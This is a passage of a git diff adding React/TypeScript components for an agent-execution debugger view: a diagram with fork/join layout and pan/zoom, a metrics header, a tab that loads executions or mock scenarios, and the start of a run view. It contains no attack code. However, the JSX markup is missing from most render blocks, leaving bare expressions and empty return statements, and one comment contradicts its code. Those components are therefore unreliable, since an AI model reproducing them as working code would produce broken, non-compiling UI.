0) return; + const n = branches.length; + + // Fork junction — indexed SOUTH ports, same pattern as debug view's FORK_JOIN. + // Width matches regular nodes so ELK keeps layers aligned. + const forkPorts: PortData[] = branches.map((_, i) => ({ + id: `${forkId}_[key=${i}]-south-port`, + width: 2, + height: 2, + side: "SOUTH" as PortSide, + disabled: true, + hidden: true, + index: i, + })); + nodes.push({ + id: forkId, + width: W, + height: 16, + data: { kind: "junction" as Kind, label: "", ts: TaskStatus.COMPLETED }, + ports: forkPorts, + }); + edges.push({ id: `${prevRef.id}→${forkId}`, from: prevRef.id, to: forkId }); + done.add(forkId); + + // Join junction — INVERTED indexed NORTH ports (key anti-crossing trick + // from the debug view: branch 0 → highest port index, branch N-1 → index 0). + // Plus a standard SOUTH port for the outgoing edge. + const joinPorts: PortData[] = [ + { + id: `${joinId}-south-port`, + width: 2, + height: 2, + side: "SOUTH" as PortSide, + disabled: true, + hidden: true, + }, + ...branches.map((_, i) => { + const inv = n - 1 - i; + return { + id: `${joinId}-n${inv}-north-port`, + width: 2, + height: 2, + side: "NORTH" as PortSide, + disabled: true, + hidden: true, + index: inv, + }; + }), + ]; + nodes.push({ + id: joinId, + width: W, + height: 16, + data: { kind: "junction" as Kind, label: "", ts: TaskStatus.COMPLETED }, + ports: joinPorts, + }); + done.add(joinId); + + // Branch nodes — each gets a south port for the branch→join edge. + // Fully port-bound edges on both ends (fromPort + toPort). + for (let i = 0; i < n; i++) { + const b = branches[i]; + const inv = n - 1 - i; + nodes.push({ + id: b.id, + width: W, + height: b.h ?? H, + data: b.data, + ports: [ + { + id: `${b.id}-south-port`, + width: 2, + height: 2, + side: "SOUTH" as PortSide, + disabled: true, + hidden: true, + }, + ], + }); + edges.push({ + id: `${forkId}→${b.id}`, + from: forkId, + fromPort: `${forkId}_[key=${i}]-south-port`, + to: b.id, + }); + edges.push({ + id: `${b.id}→${joinId}`, + from: b.id, + fromPort: `${b.id}-south-port`, + to: joinId, + toPort: `${joinId}-n${inv}-north-port`, + }); + if (b.data.ts === TaskStatus.COMPLETED) done.add(b.id); + } + + prevRef.id = joinId; + }; + + // Sequential chain turns: sub-agent FIRST, then gate event — entirely separate flow + if ( + turn.strategy === AgentStrategy.SEQUENTIAL && + turn.subAgents.length === 1 + ) { + const sub = turn.subAgents[0]; + push(`sub-${sub.id}`, { + kind: "subagent", + label: sub.agentName, + meta: sub.model, + modelName: sub.model, + sublabel: sub.output?.slice(0, 55) ?? sub.failureReason?.slice(0, 55), + strategy: turn.strategy, + ts: toTS(sub.status), + subAgentRun: sub, + }); + for (const ev of turn.events) { + if ( + ev.type === EventType.GUARDRAIL_PASS || + ev.type === EventType.GUARDRAIL_FAIL + ) { + push(ev.id, { + kind: ev.type === EventType.GUARDRAIL_FAIL ? "error" : "output", + label: "Gate", + typeLabel: "GATE", + sublabel: ev.summary, + ts: + ev.type === EventType.GUARDRAIL_FAIL + ? TaskStatus.FAILED + : TaskStatus.COMPLETED, + event: ev, + }); + } + } + return; // Skip normal event + sub-agent processing below + } + + // Group consecutive TOOL_CALL events so large parallel batches collapse into one node + type Grp = AgentEvent | { type: "__toolGroup"; events: AgentEvent[] }; + const groups: Grp[] = []; + let toolBatch: AgentEvent[] = []; + const flushBatch = () => { + if (toolBatch.length === 0) return; + groups.push({ type: "__toolGroup", events: [...toolBatch] }); + toolBatch = []; + }; + for (const ev of turn.events) { + if (ev.type === EventType.TOOL_CALL) { + toolBatch.push(ev); + } else { + flushBatch(); + groups.push(ev); + } + } + flushBatch(); + + for (const grp of groups) { + if ("type" in grp && grp.type === "__toolGroup") { + const batch = (grp as any).events as AgentEvent[]; + const groupId = `toolgroup-${turn.turnNumber}`; + const isExpanded = expandedGroups.has(groupId); + + if (batch.length < COLLAPSE_THRESHOLD || isExpanded) { + // Build visible list: when expanded and over MAX_EXPANDED, show head + ellipsis + tail + let visible: AgentEvent[]; + let ellipsisCount = 0; + if (isExpanded && batch.length > MAX_EXPANDED) { + const head = batch.slice(0, EXPAND_HEAD); + ellipsisCount = batch.length - EXPAND_HEAD - EXPAND_TAIL; + visible = [...head]; // tail is handled separately below + } else { + visible = batch; + } + + const makeBranch = (ev: AgentEvent) => { + const out = ev.result + ? (() => { + try { + return JSON.stringify(ev.result) + .replace(/[{}"]/g, "") + .slice(0, 55); + } catch { + return undefined; + } + })() + : undefined; + return { + id: ev.id, + data: { + kind: "tool" as Kind, + label: ev.toolName ?? "tool", + sublabel: out, + meta: ev.durationMs ? formatDuration(ev.durationMs) : undefined, + ts: + ev.success === false + ? TaskStatus.FAILED + : ev.success === undefined + ? TaskStatus.IN_PROGRESS + : TaskStatus.COMPLETED, + event: ev, + }, + }; + }; + + if (ellipsisCount > 0) { + // Head + ellipsis + tail in fan-out + const headBranches = visible.map(makeBranch); + const ellipsisBranch = { + id: `${groupId}-ellipsis`, + data: { + kind: "ellipsis" as Kind, + label: `… ${ellipsisCount} more …`, + ts: TaskStatus.COMPLETED, + }, + h: 56, + }; + const tailBranches = batch + .slice(batch.length - EXPAND_TAIL) + .map(makeBranch); + pushParallel( + `${groupId}-fork`, + [...headBranches, ellipsisBranch, ...tailBranches], + `${groupId}-join`, + ); + } else if (visible.length === 1) { + const ev = visible[0]; + const out = ev.result + ? (() => { + try { + return JSON.stringify(ev.result) + .replace(/[{}"]/g, "") + .slice(0, 55); + } catch { + return undefined; + } + })() + : undefined; + push(ev.id, { + kind: "tool", + label: ev.toolName ?? "tool", + sublabel: out, + meta: ev.durationMs ? formatDuration(ev.durationMs) : undefined, + ts: + ev.success === false + ? TaskStatus.FAILED + : ev.success === undefined + ? TaskStatus.IN_PROGRESS + : TaskStatus.COMPLETED, + event: ev, + }); + } else { + pushParallel( + `${groupId}-fork`, + visible.map(makeBranch), + `${groupId}-join`, + ); + } + } else { + const completed = batch.filter((e) => e.success === true).length; + const failed = batch.filter((e) => e.success === false).length; + const running = batch.filter((e) => e.success === undefined).length; + const ts = + failed > 0 + ? TaskStatus.FAILED + : running > 0 + ? TaskStatus.IN_PROGRESS + : TaskStatus.COMPLETED; + push(groupId, { + kind: "group", + label: batch[0].toolName ?? "tool calls", + groupType: "tools", + groupEvents: batch, + groupCompleted: completed, + groupFailed: failed, + groupRunning: running, + ts, + }); + } + } else { + const ev = grp as AgentEvent; + switch (ev.type) { + case EventType.THINKING: { + const tok = ev.tokens; + push(ev.id, { + kind: "llm", + label: "LLM", + sublabel: ev.toolName, + modelName: ev.toolName, + meta: tok + ? `${formatTokens(tok.promptTokens)}↑ ${formatTokens(tok.completionTokens)}↓` + : undefined, + ts: + ev.success === false + ? TaskStatus.FAILED + : ev.success === undefined + ? TaskStatus.IN_PROGRESS + : TaskStatus.COMPLETED, + event: ev, + }); + break; + } + case EventType.HANDOFF: { + const target = + ev.targetAgent ?? ev.summary.replace(/^→\s*/, "") ?? ""; + push( + ev.id, + { + kind: "handoff", + label: target, + ts: TaskStatus.COMPLETED, + event: ev, + }, + H_HANDOFF, + ); + break; + } + case EventType.MESSAGE: { + const txt = typeof ev.detail === "string" ? ev.detail : undefined; + push(ev.id, { + kind: "output", + label: "response", + sublabel: txt?.slice(0, 70) + (txt && txt.length > 70 ? "…" : ""), + ts: TaskStatus.COMPLETED, + event: ev, + }); + break; + } + case EventType.DONE: { + const txt = typeof ev.detail === "string" ? ev.detail : undefined; + push(ev.id, { + kind: "output", + label: "output", + sublabel: txt?.slice(0, 70) + (txt && txt.length > 70 ? "…" : ""), + ts: TaskStatus.COMPLETED, + event: ev, + }); + break; + } + case EventType.ERROR: + push(ev.id, { + kind: "error", + label: "error", + sublabel: ev.summary, + ts: TaskStatus.FAILED, + event: ev, + }); + break; + case EventType.GUARDRAIL_PASS: + push(ev.id, { + kind: "output", + label: + ev.toolName === "gate" ? "Gate" : (ev.toolName ?? "Guardrail"), + typeLabel: ev.toolName === "gate" ? "GATE" : "GUARDRAIL", + sublabel: ev.toolName === "gate" ? ev.summary : "passed", + ts: TaskStatus.COMPLETED, + event: ev, + }); + break; + case EventType.GUARDRAIL_FAIL: + push(ev.id, { + kind: "error", + label: + ev.toolName === "gate" ? "Gate" : (ev.toolName ?? "Guardrail"), + typeLabel: ev.toolName === "gate" ? "GATE" : "GUARDRAIL", + sublabel: ev.summary, + ts: TaskStatus.FAILED, + event: ev, + }); + break; + case EventType.WAITING: + push(ev.id, { + kind: "output", + label: "Waiting", + typeLabel: "WAITING", + sublabel: ev.summary, + ts: TaskStatus.IN_PROGRESS, + event: ev, + }); + break; + default: + break; + } + } + } + + // Sub-agents: single node if one; inline if < threshold; collapsed group if >= threshold + if (turn.subAgents.length > 0) { + const subGroupId = `subgroup-${turn.turnNumber}`; + const isSubExpanded = expandedGroups.has(subGroupId); + + if (turn.subAgents.length < COLLAPSE_THRESHOLD || isSubExpanded) { + const makeSubBranch = (sub: AgentRunData) => ({ + id: `sub-${sub.id}`, + data: { + kind: "subagent" as Kind, + label: sub.agentName, + meta: sub.model, + modelName: sub.model, + sublabel: sub.output?.slice(0, 55) ?? sub.failureReason?.slice(0, 55), + strategy: turn.strategy, + ts: toTS(sub.status), + subAgentRun: sub, + }, + }); + + if (isSubExpanded && turn.subAgents.length > MAX_EXPANDED) { + // Head + ellipsis + tail + const head = turn.subAgents.slice(0, EXPAND_HEAD).map(makeSubBranch); + const tail = turn.subAgents + .slice(turn.subAgents.length - EXPAND_TAIL) + .map(makeSubBranch); + const ellipsisCount = turn.subAgents.length - EXPAND_HEAD - EXPAND_TAIL; + const ellipsisBranch = { + id: `${subGroupId}-ellipsis`, + data: { + kind: "ellipsis" as Kind, + label: `… ${ellipsisCount} more …`, + ts: TaskStatus.COMPLETED, + }, + h: 56, + }; + pushParallel( + `${subGroupId}-fork`, + [...head, ellipsisBranch, ...tail], + `${subGroupId}-join`, + ); + } else if (turn.subAgents.length === 1) { + const sub = turn.subAgents[0]; + push(`sub-${sub.id}`, { + kind: "subagent", + label: sub.agentName, + meta: sub.model, + modelName: sub.model, + sublabel: sub.output?.slice(0, 55) ?? sub.failureReason?.slice(0, 55), + strategy: turn.strategy, + ts: toTS(sub.status), + subAgentRun: sub, + }); + } else { + pushParallel( + `${subGroupId}-fork`, + turn.subAgents.map(makeSubBranch), + `${subGroupId}-join`, + ); + } + } else { + const completed = turn.subAgents.filter( + (s) => s.status === AgentStatus.COMPLETED, + ).length; + const failed = turn.subAgents.filter( + (s) => s.status === AgentStatus.FAILED, + ).length; + const running = turn.subAgents.length - completed - failed; + const ts = + failed > 0 + ? TaskStatus.FAILED + : running > 0 + ? TaskStatus.IN_PROGRESS + : TaskStatus.COMPLETED; + push(subGroupId, { + kind: "group", + label: turn.subAgents[0].agentName, + strategy: turn.strategy, + groupType: "agents", + groupAgents: turn.subAgents, + groupCompleted: completed, + groupFailed: failed, + groupRunning: running, + ts, + }); + } + } +} + +function buildDiagram( + agentRun: AgentRunData, + _activeTurnNum: number, + hasBack: boolean, + expandedGroups: Set, +) { + const nodes: NodeData[] = []; + const edges: EdgeData[] = []; + const done = new Set(); + const prevRef = { id: "start" }; + + // "Back to parent" node — first in the chain + if (hasBack) { + nodes.push({ + id: "back", + width: 56, + height: 56, + data: { kind: "back", label: "", ts: TaskStatus.COMPLETED }, + }); + edges.push({ id: "back→start", from: "back", to: "start" }); + done.add("back"); + } + + nodes.push({ + id: "start", + width: W, + height: H, + data: { + kind: "start", + label: agentRun.agentName, + sublabel: agentRun.input?.slice(0, 55), + meta: agentRun.model, + modelName: agentRun.model, + ts: toTS(agentRun.status), + }, + }); + if (agentRun.status === AgentStatus.COMPLETED) done.add("start"); + + const allTurns = agentRun.turns; + for (let i = 0; i < allTurns.length; i++) { + const turn = allTurns[i]; + + // Insert orange "Turn N" separator before every turn after the first + if (i > 0) { + const ntId = `turn-sep-${turn.turnNumber}`; + nodes.push({ + id: ntId, + width: 56, + height: 56, + data: { + kind: "next", + label: String(turn.turnNumber), + nextTurn: turn.turnNumber, + ts: toTS(turn.status), + }, + }); + const fromPort = prevRef.id.endsWith("-join") + ? `${prevRef.id}-south-port` + : undefined; + edges.push({ + id: `${prevRef.id}→${ntId}`, + from: prevRef.id, + to: ntId, + ...(fromPort ? { fromPort } : {}), + }); + if (turn.status === AgentStatus.COMPLETED) done.add(ntId); + prevRef.id = ntId; + } + + buildTurnNodes(turn, nodes, edges, done, prevRef, expandedGroups); + } + + return { nodes, edges, done }; +} + +// ─── Zoom controls bar (matches PanAndZoomWrapper's ZoomControls visually) ──── +function DiagramControls({ + zoom, + onReset, + onZoomIn, + onZoomOut, + onFit, +}: { + zoom: number; + onReset: () => void; + onZoomIn: () => void; + onZoomOut: () => void; + onFit: () => void; +}) { + const border = `1px solid ${colors.lightGrey}`; + const col = colors.greyText; + return ( + + + + + + {Math.round(zoom * 100)}% + + + + + = MAX_ZOOM} + tooltip="Zoom in" + style={{ borderLeft: border }} + > + + + + + + + ); +} + +// ─── Main component ─────────────────────────────────────────────────────────── +interface AgentExecutionDiagramProps { + agentRun: AgentRunData; + activeTurn: number; + onSelectTurn: (n: number) => void; + selectedId: string | null; + onNodeSelect: (id: string | null, node: DetailNodeData | null) => void; + onDrillIn?: (sub: AgentRunData) => void; + onBack?: () => void; +} + +export function AgentExecutionDiagram({ + agentRun, + activeTurn, + onSelectTurn, + selectedId, + onNodeSelect, + onDrillIn, + onBack, +}: AgentExecutionDiagramProps) { + const hasBack = !!onBack; + const [expandedGroups, setExpandedGroups] = useState>(new Set()); + + // Reset expanded groups when the agent changes + useEffect(() => { + setExpandedGroups(new Set()); + }, [agentRun]); + + const toggleGroup = useCallback((groupId: string) => { + setExpandedGroups((prev) => { + const next = new Set(prev); + if (next.has(groupId)) next.delete(groupId); + else next.add(groupId); + return next; + }); + }, []); + + const { nodes, edges, done } = useMemo( + () => buildDiagram(agentRun, activeTurn, hasBack, expandedGroups), + [agentRun, hasBack, expandedGroups], // eslint-disable-line react-hooks/exhaustive-deps + ); + + const viewportRef = useRef(null); + const canvasRef = useRef(null); + + // Pan/zoom state — CSS transform applied to the inner container + const [panZoom, setPanZoom] = useState({ x: 40, y: 40, zoom: 1 }); + // Stable ref so gesture handlers always see latest zoom without stale closure + const panZoomRef = useRef(panZoom); + panZoomRef.current = panZoom; + + // ELK layout dimensions + per-node positions (populated after ELK runs) + const [layoutSize, setLayoutSize] = useState({ width: 0, height: 0 }); + type NodePos = { x: number; y: number; width: number; height: number }; + const [nodePositions, setNodePositions] = useState>( + new Map(), + ); + + // Reset pan + layout when the agent changes (NOT on turn change — we pan instead) + useEffect(() => { + setPanZoom({ x: 40, y: 40, zoom: 1 }); + setLayoutSize({ width: 0, height: 0 }); + setNodePositions(new Map()); + }, [agentRun.id]); + + // Called by reaflow after ELK computes layout — capture dimensions + per-node positions + const handleLayoutChange = useCallback((result: any) => { + if (result?.width > 0 && result?.height > 0) { + setLayoutSize({ width: result.width, height: result.height }); + const positions = new Map(); + for (const child of result.children ?? []) { + if (child.id && child.x != null) { + positions.set(child.id, { + x: child.x, + y: child.y, + width: child.width, + height: child.height, + }); + } + } + setNodePositions(positions); + } + }, []); + + // Pan to center the selected turn's node when activeTurn changes + const prevTurnRef = useRef(null); + useEffect(() => { + if (prevTurnRef.current === null) { + prevTurnRef.current = activeTurn; + return; + } + if (prevTurnRef.current === activeTurn) return; + prevTurnRef.current = activeTurn; + + if (!viewportRef.current || nodePositions.size === 0) return; + + const firstTurn = agentRun.turns[0]?.turnNumber ?? 1; + const targetId = + activeTurn === firstTurn ? "start" : `turn-sep-${activeTurn}`; + const pos = nodePositions.get(targetId); + if (!pos) return; + + const { offsetHeight: vh } = viewportRef.current; + const nodeCenterY = pos.y + pos.height / 2; + setPanZoom((prev) => ({ + ...prev, + y: vh / 2 - nodeCenterY * prev.zoom, + })); + }, [activeTurn]); // eslint-disable-line react-hooks/exhaustive-deps + + // ── Zoom control callbacks ──────────────────────────────────────────────────── + const handleReset = useCallback(() => { + setPanZoom({ x: 40, y: 40, zoom: 1 }); + }, []); + + const handleZoomIn = useCallback(() => { + setPanZoom((prev) => ({ + ...prev, + zoom: Math.min(MAX_ZOOM, prev.zoom * 1.2), + })); + }, []); + + const handleZoomOut = useCallback(() => { + setPanZoom((prev) => ({ + ...prev, + zoom: Math.max(MIN_ZOOM, prev.zoom / 1.2), + })); + }, []); + + const handleFitToScreen = useCallback(() => { + if (!viewportRef.current || !layoutSize.width) return; + const { offsetWidth: vw, offsetHeight: vh } = viewportRef.current; + const scaleX = (vw - 80) / layoutSize.width; + const scaleY = (vh - 80) / layoutSize.height; + const newZoom = Math.max( + MIN_ZOOM, + Math.min(MAX_ZOOM, Math.min(scaleX, scaleY)), + ); + const cx = (vw - layoutSize.width * newZoom) / 2; + const cy = (vh - layoutSize.height * newZoom) / 2; + setPanZoom({ x: cx, y: cy, zoom: newZoom }); + }, [layoutSize]); + + // ── Drag-to-pan via @use-gesture (same as PanAndZoomWrapper) ──────────────── + useDrag( + ({ delta, tap }) => { + if (tap) return; + setPanZoom((prev) => ({ + ...prev, + x: prev.x + delta[0], + y: prev.y + delta[1], + })); + }, + { target: viewportRef, filterTaps: true, eventOptions: { passive: false } }, + ); + + // ── Scroll-to-pan + Ctrl/Meta-scroll-to-zoom ───────────────────────────────── + useWheel( + ({ delta, event, metaKey, ctrlKey }) => { + event.preventDefault(); + if (metaKey || ctrlKey) { + const rect = viewportRef.current?.getBoundingClientRect(); + const cx = (event as WheelEvent).clientX - (rect?.left ?? 0); + const cy = (event as WheelEvent).clientY - (rect?.top ?? 0); + setPanZoom((prev) => { + const newZoom = Math.max( + MIN_ZOOM, + Math.min( + MAX_ZOOM, + prev.zoom * (1 - (event as WheelEvent).deltaY * 0.001), + ), + ); + const scale = newZoom / prev.zoom; + return { + x: cx - scale * (cx - prev.x), + y: cy - scale * (cy - prev.y), + zoom: newZoom, + }; + }); + } else { + setPanZoom((prev) => ({ + ...prev, + x: prev.x - delta[0], + y: prev.y - delta[1], + })); + } + }, + { target: viewportRef, eventOptions: { passive: false } }, + ); + + // ── Pinch-to-zoom (trackpad two-finger pinch, same as PanAndZoomWrapper) ───── + usePinch( + ({ offset: [scale], event, origin: [ox, oy] }) => { + event.preventDefault(); + const rect = viewportRef.current?.getBoundingClientRect(); + const cx = ox - (rect?.left ?? 0); + const cy = oy - (rect?.top ?? 0); + const newZoom = Math.max(MIN_ZOOM, Math.min(MAX_ZOOM, scale)); + setPanZoom((prev) => { + const factor = newZoom / prev.zoom; + return { + x: cx - factor * (cx - prev.x), + y: cy - factor * (cy - prev.y), + zoom: newZoom, + }; + }); + }, + { + scaleBounds: { min: MIN_ZOOM, max: MAX_ZOOM }, + from: () => [panZoomRef.current.zoom, 0], + target: viewportRef, + eventOptions: { passive: false }, + }, + ); + + // ── Node click handler ──────────────────────────────────────────────────────── + const handle = useCallback( + (id: string) => { + const nd = nodes.find((n) => n.id === id)?.data; + if (nd?.kind === "back") { + onBack?.(); + return; + } + if (nd?.kind === "next" && nd.nextTurn) { + onSelectTurn(nd.nextTurn); + return; + } + if (id === selectedId) { + onNodeSelect(null, null); + return; + } + if (!nd) { + onNodeSelect(null, null); + return; + } + const status = + nd.ts === TaskStatus.COMPLETED + ? AgentStatus.COMPLETED + : nd.ts === TaskStatus.FAILED + ? AgentStatus.FAILED + : AgentStatus.RUNNING; + if (nd.kind === "start") { + onNodeSelect(id, { + kind: "start", + label: nd.label, + status, + subAgentRun: agentRun, + }); + return; + } + if (nd.kind === "group") { + onNodeSelect(id, { + kind: "group", + label: nd.label, + status, + groupType: nd.groupType, + groupAgents: nd.groupAgents, + groupEvents: nd.groupEvents, + }); + return; + } + onNodeSelect(id, { + kind: nd.kind as any, + label: nd.label, + status, + event: nd.event, + subAgentRun: nd.subAgentRun, + }); + }, + [nodes, selectedId, onSelectTurn, onNodeSelect, agentRun], + ); + + const hasLayout = layoutSize.width > 0; + + return ( + /* Viewport: overflow:hidden, captures all gestures */ +
      onNodeSelect(null, null)} + > + {/* Loading skeleton while ELK computes layout */} + {!hasLayout && ( + + + {/* Skeleton nodes */} + {[0, 1, 2].map((i) => ( + + ))} + + + )} + {/* Transform container: CSS translate+scale for unrestricted pan/zoom */} + {hasLayout && ( + + )} +
      + + } + edge={(ed: EdgeData) => ( + + )} + /> +
      +
      + ); +} + +export default AgentExecutionDiagram; diff --git a/ui-next/src/pages/execution/AgentExecution/AgentExecutionHeader.tsx b/ui-next/src/pages/execution/AgentExecution/AgentExecutionHeader.tsx new file mode 100644 index 0000000..3e8e303 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/AgentExecutionHeader.tsx @@ -0,0 +1,183 @@ +import { Box, Typography } from "@mui/material"; +import { AgentRunData, ExecutionMetrics } from "./types"; +import { formatDuration, formatTokens } from "./agentExecutionUtils"; + +const RED = "#DD2222"; +const LABEL_COLOR = "#4969e4"; // dark blue — reused from app's indigo07 + +interface AgentExecutionHeaderProps { + metrics: ExecutionMetrics; + rootRun: AgentRunData; +} + +interface MetricProps { + label: string; + value: string; + unit?: string; +} + +function Metric({ label, value, unit }: MetricProps) { + return ( + + + {label} + + + + {value} + + {unit && ( + + {unit} + + )} + + + ); +} + +export function AgentExecutionHeader({ + metrics, + rootRun, +}: AgentExecutionHeaderProps) { + const { promptTokens, completionTokens } = metrics.totalTokens; + const hasTokens = promptTokens + completionTokens > 0; + + return ( + + {/* Metrics */} + + {/* Duration */} + + + + + {/* Tokens */} + {hasTokens && ( + + + + )} + + {/* Agents */} + {metrics.totalAgents > 1 && ( + + + + )} + + {/* Finish reason */} + {rootRun.finishReason && ( + + + + )} + + + {/* Failures badge — only when something failed */} + {metrics.failedAgents > 0 && ( + + + {metrics.failedAgents} failed + + + )} + + ); +} + +export default AgentExecutionHeader; diff --git a/ui-next/src/pages/execution/AgentExecution/AgentExecutionTab.tsx b/ui-next/src/pages/execution/AgentExecution/AgentExecutionTab.tsx new file mode 100644 index 0000000..842fbcd --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/AgentExecutionTab.tsx @@ -0,0 +1,220 @@ +import { useState, useMemo, useCallback } from "react"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { AGENT_EXECUTIONS_URL } from "utils/constants/route"; +import { Box, MenuItem, Select, SelectChangeEvent, Alert } from "@mui/material"; +import { AgentExecutionHeader } from "./AgentExecutionHeader"; +import { AgentRunView } from "./AgentRunView"; +import { + computeMetrics, + transformWorkflowExecutionToAgentRun, +} from "./agentExecutionUtils"; +import { + DEFAULT_MOCK_SCENARIO, + MOCK_SCENARIOS, + MockScenarioKey, +} from "./mockData"; +import { AgentRunData, AgentStatus } from "./types"; +import { WorkflowExecution, WorkflowExecutionStatus } from "types/Execution"; +import { HumanInputPanel } from "./HumanInputPanel"; + +/** Sub-agents and parent workflows reached from the debugger are themselves + * agent executions — route them through /agentExecutions/:id so the sidebar + * keeps "Executions" (under Agents) highlighted, not the plain Workflow item. */ +function agentExecutionPath(id: string): string { + return `${AGENT_EXECUTIONS_URL.BASE}/${id}`; +} + +interface AgentExecutionTabProps { + execution?: WorkflowExecution; +} + +/** + * Detect wrapper workflows — thin shells created by the SDK around an actual agent + * (e.g. engineering_lead_swarm_wf wraps engineering_lead_inner). + * Heuristic: ≤5 tasks, one of which is a SUB_WORKFLOW named *_inner. + */ +function findInnerSubWorkflowId(execution: WorkflowExecution): string | null { + const tasks = execution.tasks ?? []; + if (tasks.length > 6) return null; + const innerTask = tasks.find( + (t) => + t.taskType === "SUB_WORKFLOW" && t.referenceTaskName.includes("_inner"), + ); + return (innerTask?.outputData?.subWorkflowId as string | undefined) ?? null; +} + +export function AgentExecutionTab({ execution }: AgentExecutionTabProps) { + // Only show scenario selector when no real execution is provided + const [scenario, setScenario] = useState( + DEFAULT_MOCK_SCENARIO, + ); + + const { rootRun, transformError } = useMemo(() => { + if (execution?.workflowId) { + try { + return { + rootRun: transformWorkflowExecutionToAgentRun(execution), + transformError: null, + }; + } catch (err) { + const msg = + err instanceof Error + ? `${err.message}\n\n${err.stack ?? ""}` + : String(err); + console.error("[AgentExecution] Transform failed:", err); + return { + rootRun: { + id: execution.workflowId, + agentName: + execution.workflowName ?? execution.workflowType ?? "agent", + turns: [], + status: AgentStatus.FAILED, + totalTokens: { + promptTokens: 0, + completionTokens: 0, + totalTokens: 0, + }, + totalDurationMs: 0, + } as AgentRunData, + transformError: msg, + }; + } + } + return { rootRun: MOCK_SCENARIOS[scenario], transformError: null }; + }, [execution?.workflowId, execution?.tasks, scenario]); + + const navigate = usePushHistory(); + + // Drill into a sub-agent by navigating to its execution URL. + // For wrapper workflows, resolve the inner sub-workflow ID first. + const onDrillIn = useCallback( + async (sub: AgentRunData) => { + const targetId = sub.subWorkflowId ?? sub.id; + if (!targetId) return; + + // Check if this is a wrapper workflow and resolve inner ID + try { + const res = await fetch(`/api/agent/executions/${targetId}/full`); + if (res.ok) { + const subExecution: WorkflowExecution = await res.json(); + const innerId = findInnerSubWorkflowId(subExecution); + if (innerId) { + navigate(agentExecutionPath(innerId)); + return; + } + } + } catch { + // Fall through to direct navigation + } + + navigate(agentExecutionPath(targetId)); + }, + [navigate], + ); + + // Back navigates to the parent workflow + const onBack = execution?.parentWorkflowId + ? () => navigate(agentExecutionPath(execution.parentWorkflowId!)) + : undefined; + + const metrics = computeMetrics(rootRun); + const isUsingMockData = !execution?.workflowId; + const isPaused = execution?.status === WorkflowExecutionStatus.PAUSED; + + // Collect sub-agent names for MANUAL strategy selection + const subAgentNames = useMemo(() => { + const agentDef = rootRun.agentDef as Record | undefined; + const agents = agentDef?.agents as Array<{ name?: string }> | undefined; + if (Array.isArray(agents)) { + return agents.map((a) => a.name ?? "").filter(Boolean); + } + return rootRun.turns.flatMap((t) => t.subAgents.map((s) => s.agentName)); + }, [rootRun]); + + const handleScenarioChange = (event: SelectChangeEvent) => { + setScenario(event.target.value as MockScenarioKey); + }; + + return ( + + {transformError && ( + + Failed to parse execution data. Check the browser + console for details. + + {transformError} + + + )} + + {/* Human-in-the-loop input panel (only when execution is paused) */} + {isPaused && execution?.workflowId && ( + + )} + + {/* Header row: metrics + scenario selector (mock only) */} + + + + + {isUsingMockData && ( + + + value={scenario} + onChange={handleScenarioChange} + size="small" + variant="outlined" + sx={{ + fontSize: "0.75rem", + "& .MuiSelect-select": { py: 0.5, px: 1 }, + }} + > + {(Object.keys(MOCK_SCENARIOS) as MockScenarioKey[]).map((key) => ( + + {key} + + ))} + + + )} + + + {/* Main content */} + + + + + ); +} + +export default AgentExecutionTab; diff --git a/ui-next/src/pages/execution/AgentExecution/AgentRunView.tsx b/ui-next/src/pages/execution/AgentExecution/AgentRunView.tsx new file mode 100644 index 0000000..8330445 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/AgentRunView.tsx @@ -0,0 +1,618 @@ +import { + useCallback, + useEffect, + useRef, + useState, + type MouseEvent as ReactMouseEvent, +} from "react"; +import { + Box, + Chip, + CircularProgress, + IconButton, + Tooltip, + Typography, +} from "@mui/material"; +import { ArrowLeft, Graph, ListBullets } from "@phosphor-icons/react"; +import { getModelIconPath } from "./agentExecutionUtils"; +import { AgentRunData, AgentStatus, AgentStrategy } from "./types"; +import { formatDuration, formatTokens } from "./agentExecutionUtils"; +import { AgentExecutionDiagram } from "./AgentExecutionDiagram"; +import { AgentDetailPanel, DetailNodeData } from "./AgentDetailPanel"; +import { TurnBar } from "./TurnBar"; +import { TurnDetail } from "./TurnDetail"; + +interface AgentRunViewProps { + agentRun: AgentRunData; + onDrillIn: (subAgentRun: AgentRunData) => void; + onBack?: () => void; + isRoot?: boolean; +} + +type ViewMode = "diagram" | "timeline"; + +// ─── Status chip ────────────────────────────────────────────────────────────── + +function StatusChip({ status }: { status: AgentStatus }) { + const cfg = { + [AgentStatus.COMPLETED]: { + label: "Completed", + bg: "#40BA56", + color: "#fff", + }, + [AgentStatus.FAILED]: { label: "Failed", bg: "#DD2222", color: "#fff" }, + [AgentStatus.RUNNING]: { label: "Running", bg: "#f59e0b", color: "#fff" }, + [AgentStatus.WAITING]: { label: "Waiting", bg: "#f59e0b", color: "#fff" }, + }[status] ?? { label: status, bg: "#9e9e9e", color: "#fff" }; + + return ( + + {cfg.label} + + ); +} + +// ─── Strategy chip ──────────────────────────────────────────────────────────── + +const STRATEGY_CHIP_CFG: Record< + AgentStrategy, + { label: string; color: string; bg: string } +> = { + [AgentStrategy.HANDOFF]: { + label: "Handoff", + color: "#7c3aed", + bg: "#ede9fe", + }, + [AgentStrategy.PARALLEL]: { + label: "Parallel", + color: "#0369a1", + bg: "#e0f2fe", + }, + [AgentStrategy.SEQUENTIAL]: { + label: "Sequential", + color: "#0369a1", + bg: "#e0f2fe", + }, + [AgentStrategy.ROUTER]: { label: "Router", color: "#b45309", bg: "#fef3c7" }, + [AgentStrategy.SINGLE]: { label: "Single", color: "#6b7280", bg: "#f3f4f6" }, +}; + +function StrategyChip({ strategy }: { strategy: AgentStrategy }) { + const cfg = STRATEGY_CHIP_CFG[strategy] ?? { + label: strategy, + color: "#6b7280", + bg: "#f3f4f6", + }; + return ( + + {cfg.label} + + ); +} + +// ─── Agent run header ───────────────────────────────────────────────────────── + +function AgentRunHeader({ + agentRun, + isRoot, + onBack, +}: { + agentRun: AgentRunData; + isRoot?: boolean; + onBack?: () => void; +}) { + const promptTok = agentRun.totalTokens.promptTokens; + const completionTok = agentRun.totalTokens.completionTokens; + const hasTokens = promptTok + completionTok > 0; + + return ( + + {/* Left: back button + name + model */} + + {onBack && ( + + + + + + )} + + {agentRun.agentName} + + + {agentRun.model && ( + + {(() => { + const icon = getModelIconPath(agentRun.model); + return icon ? ( + + ) : null; + })()} + + + )} + + {agentRun.strategy && agentRun.strategy !== AgentStrategy.SINGLE && ( + + )} 